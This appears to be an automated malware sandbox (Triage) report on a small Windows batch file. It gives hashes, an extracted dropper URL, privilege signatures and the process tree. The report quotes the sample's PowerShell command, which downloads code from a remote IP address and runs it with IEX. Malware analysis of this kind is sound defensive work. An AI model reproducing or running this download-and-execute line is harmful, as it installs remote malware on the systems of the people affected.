a22cfd42ad2a8cec8a49dc236b16ed7579c0ece0e048546b759a9fc620b79987 | Triage

Analysis

max time kernel
128s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
11-06-2020 21:10

Sharing

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General

Target

25beb425e3126143f961ead9e6eda285.bat
Size

220B
MD5

f519bf505e47286d4237924b8d9b7aac
SHA1

503b29182aa3c2b01f3ac4a4846eae307e1c22bc
SHA256

a22cfd42ad2a8cec8a49dc236b16ed7579c0ece0e048546b759a9fc620b79987
SHA512

28300f35bc17da4eb060ee5cac3258c1dd57b4f287bdd63c107bd3f5c25246d6a34bba484ee8c4cdaf615c7ef4498fc02665c0268f59b92b05d74fbfeb936c8c

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/25beb425e3126143f961ead9e6eda285

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1764 1324 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1764 WerFault.exe
Token: SeBackupPrivilege 1764 WerFault.exe
Token: SeDebugPrivilege 1764 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\25beb425e3126143f961ead9e6eda285.bat"
1⤵
PID:3264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/25beb425e3126143f961ead9e6eda285');Invoke-YOGGLCMTVFBXE;Start-Sleep -s 10000"
2⤵
PID:1324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1764

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1764-0-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download
memory/1764-1-0x00000000051F0000-0x00000000051F1000-memory.dmp

Filesize
4KB

Download
memory/1764-2-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download